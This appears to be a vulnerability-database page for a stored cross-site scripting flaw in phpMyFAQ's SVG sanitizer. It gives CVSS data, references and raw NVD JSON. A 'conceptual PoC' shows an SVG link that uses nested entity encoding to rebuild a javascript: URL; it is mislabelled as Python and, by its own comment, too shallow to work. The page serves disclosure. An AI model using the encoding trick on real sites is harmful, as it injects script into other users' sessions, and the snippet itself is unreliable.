CVE-2026-46360

Description

phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in SvgSanitizer::decodeAllEntities() that limits recursive entity decoding to 5 iterations, allowing attackers to bypass sanitization. Authenticated users with FAQ_EDIT permission can upload malicious SVG files with deeply nested ampersand encoding around numeric HTML entities to reconstruct javascript: URLs, which execute arbitrary JavaScript when clicked by other users viewing the uploaded SVG.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

phpMyFAQ < 4.1.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Conceptual PoC for Nested Entity Bypass -->
<!-- The goal is to encode 'javascript:alert(1)' such that after 5 decodes it remains valid -->
<svg xmlns="http://www.w3.org/2000/svg">
  <a xmlns="http://www.w3.org/1999/xlink" href="&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;alert(1)">
    <text x="10" y="20">Click Me</text>
  </a>
</svg>

<!-- Note: The actual exploit requires deeper nesting than shown above to bypass the specific 5-iteration limit logic described in the CVE. -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-46360
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-46360
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-46360/
[4] VulDB https://vuldb.com/cve/CVE-2026-46360
[5] https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-whqh-9pq5-c7r3
[6] https://www.vulncheck.com/advisories/phpmyfaq-stored-xss-via-entity-decoding-depth-limit-bypass-in-svg-sanitizer
[7] https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-whqh-9pq5-c7r3

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-46360", "sourceIdentifier": "[email protected]", "published": "2026-05-15T19:17:03.263", "lastModified": "2026-05-15T21:16:38.753", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in SvgSanitizer::decodeAllEntities() that limits recursive entity decoding to 5 iterations, allowing attackers to bypass sanitization. Authenticated users with FAQ_EDIT permission can upload malicious SVG files with deeply nested ampersand encoding around numeric HTML entities to reconstruct javascript: URLs, which execute arbitrary JavaScript when clicked by other users viewing the uploaded SVG."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-whqh-9pq5-c7r3", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/phpmyfaq-stored-xss-via-entity-decoding-depth-limit-bypass-in-svg-sanitizer", "source": "[email protected]"}, {"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-whqh-9pq5-c7r3", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}